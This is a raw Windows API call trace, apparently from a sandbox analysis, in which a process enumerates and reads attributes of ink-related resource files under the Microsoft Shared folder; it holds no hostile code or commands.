	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.836] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671ea8 | out: lpFileInformation=0x12671ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0050.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671ef8 | out: lpFileInformation=0x12671ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800)) returned 1
	[0050.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671f48 | out: lpFileInformation=0x12671f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1
	[0050.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671f98 | out: lpFileInformation=0x12671f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1
	[0050.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686008 | out: lpFileInformation=0x12686008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0050.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686058 | out: lpFileInformation=0x12686058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0050.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126860a8 | out: lpFileInformation=0x126860a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00)) returned 1
	[0050.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126860f8 | out: lpFileInformation=0x126860f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0050.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686148 | out: lpFileInformation=0x12686148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0050.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686198 | out: lpFileInformation=0x12686198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0050.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), fInfoLevelId=0x0, lpFileInformation=0x126861e8 | out: lpFileInformation=0x126861e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00)) returned 1
	[0050.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), fInfoLevelId=0x0, lpFileInformation=0x12686238 | out: lpFileInformation=0x12686238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00)) returned 1
	[0050.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), fInfoLevelId=0x0, lpFileInformation=0x12686288 | out: lpFileInformation=0x12686288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200)) returned 1
	[0050.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), fInfoLevelId=0x0, lpFileInformation=0x126862d8 | out: lpFileInformation=0x126862d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600)) returned 1
	[0050.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), fInfoLevelId=0x0, lpFileInformation=0x12686328 | out: lpFileInformation=0x12686328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200)) returned 1
	[0050.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), fInfoLevelId=0x0, lpFileInformation=0x12686378 | out: lpFileInformation=0x12686378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00)) returned 1
	[0050.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), fInfoLevelId=0x0, lpFileInformation=0x126863c8 | out: lpFileInformation=0x126863c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400)) returned 1
	[0050.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686418 | out: lpFileInformation=0x12686418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0050.845] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686468 | out: lpFileInformation=0x12686468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0050.845] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126864b8 | out: lpFileInformation=0x126864b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0050.845] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12686508 | out: lpFileInformation=0x12686508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0050.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), fInfoLevelId=0x0, lpFileInformation=0x12686558 | out: lpFileInformation=0x12686558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1
	[0050.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126865a8 | out: lpFileInformation=0x126865a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0050.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126865f8 | out: lpFileInformation=0x126865f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0050.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x12686648 | out: lpFileInformation=0x12686648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.847] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.847] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.847] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.848] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126866e8 | out: lpFileInformation=0x126866e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x12686738 | out: lpFileInformation=0x12686738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.849] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.849] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.849] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.849] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126867d8 | out: lpFileInformation=0x126867d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
